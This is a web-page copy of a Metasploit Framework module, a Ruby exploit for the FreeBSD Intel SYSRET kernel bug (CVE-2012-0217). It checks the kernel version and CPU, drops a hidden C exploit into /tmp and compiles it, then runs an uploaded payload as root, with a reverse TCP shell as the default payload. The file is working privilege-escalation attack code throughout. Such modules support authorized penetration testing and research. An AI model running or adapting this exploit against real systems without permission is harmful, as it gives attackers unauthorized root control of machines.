CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/freebsd/local/intel_sysret_priv_esc.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::Unix
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'FreeBSD Intel SYSRET Privilege Escalation',
20
'Description' => %q{
21
This module exploits a vulnerability in the FreeBSD kernel,
22
when running on 64-bit Intel processors.
23
24
By design, 64-bit processors following the X86-64 specification will
25
trigger a general protection fault (GPF) when executing a SYSRET
26
instruction with a non-canonical address in the RCX register.
27
28
However, Intel processors check for a non-canonical address prior to
29
dropping privileges, causing a GPF in privileged mode. As a result,
30
the current userland RSP stack pointer is restored and executed,
31
resulting in privileged code execution.
32
33
This module has been tested successfully on:
34
35
FreeBSD 8.3-RELEASE (amd64); and
36
FreeBSD 9.0-RELEASE (amd64).
37
},
38
'License' => MSF_LICENSE,
39
'Author' =>
40
[
41
'Rafal Wojtczuk', # Discovery
42
'John Baldwin', # Discovery
43
'iZsh', # Exploit
44
'bcoles' # Metasploit
45
],
46
'DisclosureDate' => '2012-06-12',
47
'Platform' => ['bsd'], # FreeBSD
48
'Arch' => [ARCH_X64],
49
'SessionTypes' => ['shell'],
50
'References' =>
51
[
52
['BID', '53856'],
53
['CVE', '2012-0217'],
54
['EDB', '28718'],
55
['PACKETSTORM', '113584'],
56
['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
57
['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
58
['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
59
['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
60
['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
61
['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
62
],
63
'Targets' =>
64
[
65
['Automatic', {}]
66
],
67
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
68
'DefaultTarget' => 0
69
)
70
)
71
register_advanced_options([
72
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
73
])
74
end
75
76
def base_dir
77
datastore['WritableDir'].to_s
78
end
79
80
def upload(path, data)
81
print_status("Writing '#{path}' (#{data.size} bytes) ...")
82
rm_f(path)
83
write_file(path, data)
84
register_file_for_cleanup(path)
85
end
86
87
def upload_and_compile(path, data, _cc_args = '')
88
upload("#{path}.c", data)
89
90
cc_cmd = "cc -o #{path} #{path}.c"
91
if session.type.eql?('shell')
92
cc_cmd = "PATH=$PATH:/usr/bin/ #{cc_cmd}"
93
end
94
output = cmd_exec(cc_cmd)
95
96
unless output.blank?
97
print_error(output)
98
fail_with(Failure::Unknown, "#{path}.c failed to compile")
99
end
100
101
register_file_for_cleanup(path)
102
chmod(path)
103
end
104
105
def strip_comments(c_code)
106
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
107
end
108
109
def check
110
kernel_release = cmd_exec('uname -r').to_s
111
unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
112
return CheckCode::Safe("FreeBSD version #{kernel_release} is not vulnerable")
113
end
114
vprint_good("FreeBSD version #{kernel_release} appears vulnerable")
115
116
kernel_arch = cmd_exec('uname -m').to_s
117
unless kernel_arch.include?('64')
118
return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
119
end
120
vprint_good("System architecture #{kernel_arch} is supported")
121
122
hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
123
unless hw_model.downcase.include?('intel')
124
return CheckCode::Safe("#{hw_model} is not vulnerable")
125
end
126
vprint_good("#{hw_model} is vulnerable")
127
128
CheckCode::Appears
129
end
130
131
def exploit
132
if !datastore['ForceExploit'] && is_root?
133
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
134
end
135
136
unless writable?(base_dir)
137
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
138
end
139
140
# Upload and compile exploit executable
141
executable_name = ".#{rand_text_alphanumeric(5..10)}"
142
executable_path = "#{base_dir}/#{executable_name}"
143
upload_and_compile(executable_path, strip_comments(exploit_data('cve-2012-0217', 'sysret.c')), '-Wall')
144
145
# Upload payload executable
146
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
147
upload_and_chmodx(payload_path, generate_payload_exe)
148
149
# Launch exploit
150
print_status('Launching exploit...')
151
output = cmd_exec(executable_path)
152
output.each_line { |line| vprint_status line.chomp }
153
154
unless is_root?
155
fail_with(Failure::Unknown, 'Exploitation failed')
156
end
157
print_good('Success! Executing payload...')
158
159
cmd_exec("#{payload_path} & echo ")
160
end
161
end
162
163